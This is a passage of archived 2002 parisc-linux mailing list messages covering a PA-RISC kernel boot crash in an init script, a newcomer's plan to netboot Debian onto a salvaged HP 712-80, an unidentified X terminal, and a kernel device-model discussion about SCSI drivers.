	id 756C82B100; Tue, 12 Nov 2002 13:59:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.44.0211122031220.32930-100000@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16752

Bjeorn,

What type of system is this.  I am currently tracking down this problem
on the K460.  I know where the problem is caused, just not why yet.

Thanks,

- Ryan
On Tue, Nov 12, 2002 at 08:42:28PM +0000, Bjoern A. Zeeb wrote:
> Hi,
> 
> felt really lucky to have reached INIT for less than a second ;-)
> 
> hit it. looped for(;;);
> 
> had to remove power  cause neither sysreq nor the power button could
> reboot the machine...
> 
> rcS should be the same as everywhere from the .dep .
> 
> 
> 
> Linux version 2.5.47-pa1 (bz@apollo) (gcc version 3.2) #5 Tue Nov 12 19:14:45 UTC 2002
> ...
> Kernel command line: root=/dev/sda3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.47-pa1
> ...
> Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP: routing cache hash table of 512 buckets, 4Kbytes
> TCP: Hash tables configured (established 8192 bind 16384)
> Linux IP multicast router 0.06 plus PIM-SM
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> VFS: Mounted root (ext2 filesystem) readonly.
> Freeing unused kernel memory: 372k freed
> INIT: version 2.84 booting
>       _______________________________
>      < Your System ate a SPARC! Gah! >
>       -------------------------------
>              \   ^__^
>               \  (xx)\_______
>                  (__)\       )\/\
>                   U  ||----w |
>                      ||     ||
> rcS(11): Breakpoint
>       _______________________________
>      < Your System ate a SPARC! Gah! >
>       -------------------------------
>              \   ^__^
>               \  (xx)\_______
>                  (__)\       )\/\
>                   U  ||----w |
>                      ||     ||
> rcS(11): Breakpoint
> 
> 
> -- 
> Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
> 56 69 73 69 74				http://www.zabbadoz.net/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 


From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: no one <neverbefound@subdimension.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Newbie found an hp 712-80 :)
Date: Tue, 12 Nov 2002 22:11:41 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20021112221141.2d2792f0.neverbefound@subdimension.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621913 16802 80.91.229.3 (22 Nov 2014 02:05:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 15:14:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mr2.cc.ic.ac.uk (mr2.cc.ic.ac.uk [155.198.5.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id 461504829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 15:14:25 -0700 (MST)
Original-Received: from icex12.cc.ic.ac.uk ([155.198.3.12])
	by mr2.cc.ic.ac.uk with esmtp (Exim 3.35 #1)
	id 18BjIa-0003Ct-02
	for parisc-linux@lists.parisc-linux.org; Tue, 12 Nov 2002 22:14:20 +0000
Original-Received: from icnap (129.31.26.231 [129.31.26.231]) by icex12.cc.ic.ac.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id S41P6PBT; Tue, 12 Nov 2002 22:14:20 -0000
X-Mailer: Sylpheed version 0.7.8 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16753

Hello,

Sorry for asking these rather simple questions, but I've spent an evening reading all the documentation that I could find on the parisc sites, and am still a little be unsure.

Yesterday I realised that the cute little box sitting by the bin for 3 weeks was actually a computer - a hp 712-80 to be precise; and I am now desperate (after failing to hear the psu fan above the fridge) to run linux on it, eventually headless (if I dare to reset the default console thingy...) as a network server or as a lightweight webbrowser (i.e. dillo).

It came with no floppy, no harddrive, and no memory - I've bought a el-cheapo 2nd hand generic 2Gb SCSI drive; and now need to squeeze linux onto it :)

As soon as I find myself some simms, I'll be able to get past the pretty hardware-failure screen (look! it even draws where the failing/missing part is on the motherboard!) and have the following installation method planned out.

1) Setup dhcpd on my slackware box to serve the 'lifimage' for the latest net-boot iso
2) Lan-Boot the 712 with a crossover-cable into the main computer, via dhpcd
(don't want to confuse true lan dhpcd requests...)
3) This lifimage will load a kernel and a initrd with the standard debian install tools.
4) I could now 'ifconfig eth0 down', plug the hp into the actual lan, bring the net connection back up (dhcp or static lan config...)
5) Do a install from my closest debian mirror.

I'm sure there must be a fatal flaw in there somewhere... after reading through all those fearful references to NFS-roots et al., it seems so simple now that I've written it down :)

Also, I read somewhere that you can flash the latest firmware to the machine by serving it the firmware as a net-boot image - is this correct? Would it be safer by some other method? - for instance (no idea of actual possibility), copy the firmware to /boot & get AILO (sic?) to boot it...

Thankyou for your patience, ;)
When I get this all set up I promise to write a 'basic 712 install' walkthrough... :)

Jarvist


From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] My System ate a SPARC! *haha* 8-(
Date: Tue, 12 Nov 2002 22:24:36 +0000 (UTC)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0211122148260.39295-100000@e0-0.zab2.int.zabbadoz.net>
References: <20021112205942.GA7777@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621913 16805 80.91.229.3 (22 Nov 2014 02:05:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbrad@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 15:28:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D31B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 15:28:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id E4A581FFEB6; Tue, 12 Nov 2002 23:28:24 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 2A9A41FFEC4; Tue, 12 Nov 2002 23:28:24 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 809A922E1B; Tue, 12 Nov 2002 22:24:36 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 7789D22E1A; Tue, 12 Nov 2002 22:24:36 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20021112205942.GA7777@beavis.ybsoft.com>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16754

On Tue, 12 Nov 2002, Ryan Bradetich wrote:

> Bjeorn,

nice try; second shot please ;-))


> What type of system is this.  I am currently tracking down this problem
> on the K460.  I know where the problem is caused, just not why yet.

model 9000/715


this it were kernel starts joking ...

--- /etc/init.d/initrd-tools.sh ---
[ -f /proc/mounts ] || {
echo "still ok"
        mount -n /proc || exit
        trap 'umount -n /proc' EXIT
}
echo "never reached"
--- ... ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:25:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Longjos@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What did I find
Date: Tue, 12 Nov 2002 19:13:44 EST
Lines: 28
Approved: news@gmane.org
Message-ID: <3d.277be522.2b02f338@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_3d.277be522.2b02f338_boundary"
X-Trace: ger.gmane.org 1416621914 16807 80.91.229.3 (22 Nov 2014 02:05:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 17:13:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-d02.mx.aol.com (imo-d02.mx.aol.com [205.188.157.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69EB8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 17:13:54 -0700 (MST)
Original-Received: from Longjos@aol.com
	by imo-d02.mx.aol.com (mail_out_v34.13.) id n.3d.277be522 (30950)
	 for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 19:13:44 -0500 (EST)
X-Mailer: AOL 7.0 for Windows US sub 10630
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16755

--part1_3d.277be522.2b02f338_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Perhaps you can help me identify this box that I found at a surplus auction.
It says on it:
Visual Technology Model: TX100M
When powered up it says it is an X terminal, but it has no X Server 
installed. It has to boot from Tftp, or the sort. 
My main problem is, I can't find any reference to this thing. I have no idea 
what software it runs.
Can anyone help me?
Thanks

--part1_3d.277be522.2b02f338_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2 FAMILY="SANSSERIF" FACE="Arial" LANG="0">Perhaps you can help me identify this box that I found at a surplus auction.<BR>
It says on it:<BR>
Visual Technology Model: TX100M<BR>
When powered up it says it is an X terminal, but it has no X Server installed. It has to boot from Tftp, or the sort. <BR>
My main problem is, I can't find any reference to this thing. I have no idea what software it runs.<BR>
Can anyone help me?<BR>
Thanks</FONT></HTML>

--part1_3d.277be522.2b02f338_boundary--


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] My System ate a SPARC! *haha* 8-(
Date: 12 Nov 2002 17:17:41 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <1037146661.32080.128.camel@beavis>
References: <Pine.BSF.4.44.0211122148260.39295-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621914 16809 80.91.229.3 (22 Nov 2014 02:05:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 17:17:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id A730A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 17:17:45 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 4CBB92B100; Tue, 12 Nov 2002 17:17:41 -0700 (MST)
In-Reply-To: <Pine.BSF.4.44.0211122148260.39295-100000@e0-0.zab2.int.zabbadoz.net>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16756

On Tue, 2002-11-12 at 15:24, Bjoern A. Zeeb wrote:
> On Tue, 12 Nov 2002, Ryan Bradetich wrote:
> 
> > Bjeorn,
> 
> nice try; second shot please ;-))

Oops... very sorry :(

> 
> > What type of system is this.  I am currently tracking down this problem
> > on the K460.  I know where the problem is caused, just not why yet.
> 
> model 9000/715

Cool.
> 
> this it were kernel starts joking ...
> 
> --- /etc/init.d/initrd-tools.sh ---
> [ -f /proc/mounts ] || {
> echo "still ok"
>         mount -n /proc || exit
>         trap 'umount -n /proc' EXIT
> }
> echo "never reached"
> --- ... ---

Interesting ... will dig further and see if I can get this fixed.

Thanks for the feedback.

- Ryan


> -- 
> Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
> 56 69 73 69 74				http://www.zabbadoz.net/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Tue, 12 Nov 2002 22:13:10 -0800
Lines: 62
Approved: news@gmane.org
Message-ID: <20021113061310.GD2106__4523.261197801$1416621914$gmane$org@kroah.com>
References: <20021109060342.GA7798@kroah.com> <200211091533.gA9FXuW02017@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621914 16811 80.91.229.3 (22 Nov 2014 02:05:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:14 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 23:18:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kroah.com (12-231-249-244.client.attbi.com [12.231.249.244])
	by dsl2.external.hp.com (Postfix) with SMTP id F3598482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 23:18:35 -0700 (MST)
Original-Received: (qmail 2248 invoked by uid 500); 13 Nov 2002 06:13:11 -0000
Content-Disposition: inline
In-Reply-To: <200211091533.gA9FXuW02017@localhost.localdomain>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16757

On Sat, Nov 09, 2002 at 10:33:56AM -0500, J.E.J. Bottomley wrote:
> 
> > The SCSI people are being drug kicking and screaming into it,
> > _finally_ now (hell, SCSI is still not using the updated PCI
> > interface, those people _never_ update their drivers if they can avoid
> > it.)
> 
> That't not entirely fair.  Most of the unbroken drivers in the tree (those 
> with active 2.5 maintainers) are using the up to date pci/dma interface.  The 
> mid layer is `sort of' using the device api.

I was referring to the pci_module_init() model of PCI drivers, which, as
of 2.5.47, is only implemented in the ips, nsp32 and aic7xxx drivers.
Every other PCI SCSI controller driver will crash and burn a nasty death
if placed in a machine with a PCI hotplug controller, and someone tries
to remove it.  Hopefully someday this will be fixed... :)

> Where I'd like to see the device model go for SCSI is:
> 
> - we have a device node for every struct scsi_device (even unattached ones)
> 
> - unattached devices are really minimal entities with as few resources 
> allocated as we can get away with, so we can have lazy attachment more easily.
> 
> - on attachment, the device node gets customised by the attachment type (and 
> remember, we can have more than one attachment).
> 
> - whatever the permanent `name' field for the device is going to be needs to 
> be writeable from user level, that way it can eventually be determined by the 
> user level and simply written there as a string (rather than having all the 
> wwn fallback cruft in the mid-layer).
> 
> - Ultimately, I'd like us to dump the host/channel/target numbering scheme in 
> favour of the unique device node name (we may still number them in the 
> mid-layer for convenience) so that we finesse the FC mapping problems---FC 
> devices can embed the necessary identification in the target strings.
> 
> - Oh, and of course, we move to a hotplug/coldplug model where the root device 
> is attached in initramfs and everything else is discovered in user space from 
> the boot process.

All of that sounds very reasonable, and would be nice to see
implemented.

> > Patches for this stuff are going to be happening for quite some time
> > now, don't despair.
> 
> > And they are greatly appreciated, and welcomed from everyone :) 
> 
> As far as extending the generic device model goes, I'll do it for the MCA bus. 
>  I have looked at doing it previously, but giving the MCA bus a struct pci_dev 
> is a real pain because of the underlying assumptions when one of these exists 
> in an x86 machine.

What is the real reason for needing this, pci_alloc_consistent()?  We
have talked about renaming that to dev_alloc_consistent() in the past,
which I think will work for you, right?

thanks,

greg k-h


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie found an hp 712-80 :)
Date: Wed, 13 Nov 2002 07:28:59 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20021113062859.GD25768@charite.de>
References: <20021112221141.2d2792f0.neverbefound@subdimension.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621915 16815 80.91.229.3 (22 Nov 2014 02:05:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: no one <neverbefound@subdimension.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 12 23:29:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 037EC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Nov 2002 23:29:04 -0700 (MST)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 50AC215C020; Wed, 13 Nov 2002 07:28:59 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 4997F633B3; Wed, 13 Nov 2002 07:28:59 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20021112221141.2d2792f0.neverbefound@subdimension.com>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16758

On Tue, Nov 12, 2002 at 10:11:41PM +0000, no one wrote:

> Yesterday I realised that the cute little box sitting by the bin for
> 3 weeks was actually a computer - a hp 712-80 to be precise; and I am

Yes, that happened here as well. The HP-UX on the box was toast.

> It came with no floppy, no harddrive, and no memory - I've bought a
> el-cheapo 2nd hand generic 2Gb SCSI drive; and now need to squeeze
> linux onto it :)

You still need memory :)

> As soon as I find myself some simms, I'll be able to get past the
> pretty hardware-failure screen (look! it even draws where the
> failing/missing part is on the motherboard!) and have the following
> installation method planned out.

I like that.

> 1) Setup dhcpd on my slackware box to serve the 'lifimage' for the latest net-boot iso
> 2) Lan-Boot the 712 with a crossover-cable into the main computer, via dhpcd
> (don't want to confuse true lan dhpcd requests...)
> 3) This lifimage will load a kernel and a initrd with the standard debian install tools.
> 4) I could now 'ifconfig eth0 down', plug the hp into the actual lan, bring the net connection back up (dhcp or static lan config...)
> 5) Do a install from my closest debian mirror.

Yup.

> I'm sure there must be a fatal flaw in there somewhere... after
> reading through all those fearful references to NFS-roots et al., it
> seems so simple now that I've written it down :)
> 
> Also, I read somewhere that you can flash the latest firmware to the
> machine by serving it the firmware as a net-boot image - is this
> correct?

Yes. Simply make the HP boot the firmware upgrade via tftp.

> Would it be safer by some other method? - for instance (no
> idea of actual possibility), copy the firmware to /boot & get AILO
> (sic?) to boot it...

On HP it's PALO.
-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
The length of the signature is inversely proportional 
to the user's ability to use google.



From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Newbie found an hp 712-80 :)
Date: Tue, 12 Nov 2002 23:41:45 -0800 (PST)
Lines: 37
Approved: news@gmane.org
Message-ID: <20021113074145.86928.qmail@web12507.mail.yahoo.com>
References: <20021113062859.GD25768@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621915 16817 80.91.229.3 (22 Nov 2014 02:05:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 00:41:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id 4D2444829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 00:41:53 -0700 (MST)
Original-Received: from [12.24.252.219] by web12507.mail.yahoo.com via HTTP; Tue, 12 Nov 2002 23:41:45 PST
In-Reply-To: <20021113062859.GD25768@charite.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16759

--- Ralf Hildebrandt <Ralf.Hildebrandt@charite.de> wrote:
> On Tue, Nov 12, 2002 at 10:11:41PM +0000, no one wrote:
> 
> > Yesterday I realised that the cute little box sitting by the bin
> for
